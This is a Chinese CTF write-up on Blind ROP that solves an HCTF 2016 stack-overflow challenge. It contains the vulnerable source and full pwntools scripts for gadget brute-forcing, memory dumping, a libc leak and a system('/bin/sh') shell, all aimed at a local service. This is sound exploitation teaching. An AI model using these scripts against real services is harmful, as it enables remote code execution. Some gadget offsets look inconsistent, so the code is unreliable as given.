Have fun with Blind ROP

0x00: 关于BROP

第一次遇到BROP是在HCTF 2016,当时并没有搞定这个东西,前一段时间花了点时间研究了下这种利用方式,搞定了那个题目,顺便也看了下关于BROP的论文和slide,实践了下使用BROP技术搞低版本的ngnix。

0x01: 先说CTF中遇到的

比赛结束后,杭电的师傅们把题目都开源丢github了,所以我直接拿来源码自己编译自己搞了,源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);

for(;;){
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {

puts("No password, no game");
}
}

return 0;
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

比赛的时候这个题目只给了ip和端口,其他信息就没有了,后面给出了bof的buffer大小作为提示。那么根据这个大小可以计算出payload的结构,所以就可以使用BROP的思路去一步一步搞定这个题目了。

0x02:过程

1. 找到hang addr

首先要找到这样一个覆盖ret addr后不会引起服务崩溃的地址,我的做法是暴力跑,利用pwntools的异常处理来判断连接是否挂掉了。
就像这样简单粗暴的从0x400000去跑,然后log进文件,最后我只要去查看文件就知道hang addr是什么了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def log_in_file(addr):
#f = open('log.txt','a')
#f = open('gadgets.txt','a')
f = open('res.txt','a')
f.write("ok addr : 0x%x\n" % addr)
f.close()

def get_hang_addr(addr):
p = remote('127.0.0.1',10001)
payload = "A" * 72 + p64(addr)
p.recvuntil('WelCome my friend,Do you know password?')
p.sendline(payload)
try:
#for junk
p.recvline()
if(p.recv() != None):
log.info("alive ! at 0x%x" % addr)
log_in_file(addr)
p.close()
except EOFError as e:
p.close()
log.info("dead connection! at 0x%x" % addr)

#finally,I got hang_addr = 0x400724
2. 找到gadgets

有了hang addr,下一步就是寻找gadgets了,我这里是直接找通用型gadgets
我放置的payload如下:

1
payload = "A" * 72 + p64(addr) + p64(1)+p64(2)+p64(3)+p64(4)+p64(5)+p64(6)+p64(hang_addr)

如果说,程序不挂那就说明找到了这个gadgets 。

1
2
3
4
5
6
7
pop    rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def get_gadgets_addr(addr):
p = remote('127.0.0.1',10001)
payload = "A" * 72 + p64(addr) + p64(1)+p64(2)+p64(3)+p64(4)+p64(5)+p64(6)+p64(hang_addr)
p.recvuntil('WelCome my friend,Do you know password?')
p.sendline(payload)
try:
#for junk
p.recvline()
if(p.recv() != None):
log.info("find gadgets at 0x%x" % addr)
log_in_file(addr)
p.close()
except EOFError as e:
p.close()
log.info("dead connection! at 0x%x" % addr)

最后我得到的结果是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ppppppr_addr = 0x4007ba
gadget2 = ppppppr_addr - 0x1a
gadget1 = ppppppr_addr
'''
gadget1:
mov rdx,r13
mov rsi,r14
mov edi,r15d
call QWORD PTR [r12+rbx*8]
add rbx,0x1
cmp rbx,rbp
jne 4007a0 <__libc_csu_init+0x40>
add rsp,0x8
gadget2:
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
'''
3. 构造leak去dump bin file

通用型gadgets的构造我这里使用了Icemakr写好的一个函数

1
2
3
4
5
6
7
8
9
10
11
12
#this func from Icemakr. thx.
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 56 # junk
return payload

后面直接构造leak函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
def leak(addr):
p = remote('127.0.0.1',10001)
#p = process('./main')
#raw_input('#')
payload = "A"*72 + com_gadget(gadget1,gadget2,puts_addr,arg1=addr)+p64(hang_addr)
p.recvuntil('WelCome my friend,Do you know password?')
p.sendline(payload)
try:
p.recvline()
data = p.recvline().strip()
if(data != None):
try:
data = data[0:data.index("WelCome")]
except ValueError as e:
data = data
#if leak data is 0x00
if data == "":
data = "\x00"
#if leak data is end with 0x0a
elif(data[len(data)- 1] == '\n' and data[len(data)- 2] == '\n'):
data = data.strip()
data = data+"\x0a"
log.info("leaking: 0x%x --> %s" % (addr,(data or '').encode('hex')))
p.close()
return data
except EOFError as e:
p.close()
log.info("dead connection! at 0x%x" % addr)
return None

其实只要分别从0x400000和0x600000开始dump就可以。

4.getshell

有了dump之后就得到了got表的信息,下面就可以正常的做了,leak函数地址,查偏移,然后构造rop,然后getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *

context.log_level = 'debug'
context.arch='amd64'

def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(part2) # part2 entry will call [rbx + r12 + 0x8]
payload += 'A' * 56 # junk
return payload

hang_addr = 0x400724
ppppppr_addr = 0x4007ba
gadget1 = ppppppr_addr
gadget2 = ppppppr_addr - 0x1a

puts_got = 0x601018
pop_rdi = gadget1 + (0x400E72 - 0x400E6A + 1)

p = remote('127.0.0.1',10001)

payload = 'A' * 72
payload += com_gadget(gadget1,gadget2,puts_got,arg1=0,arg2=puts_got)+p64(hang_addr)
payload += p64(hang_addr)
p.send(payload)
content = p.recv()
puts_addr = u64(content[:-1] + '\x00\x00')

offset_system = 0x45390
offset_str_bin_sh = 0x18c177
system_addr = puts_addr - (0x6f690 - offset_system)
bin_sh_addr = puts_addr - (0x6f690 - offset_str_bin_sh)

payload = 'A' * 72
payload += p64(pop_rdi) + p64(bin_sh_addr) + p64(system_addr)
p.send(payload)
p.interactive()

0x03: 参考与引用

BROP
Icemakr师傅的git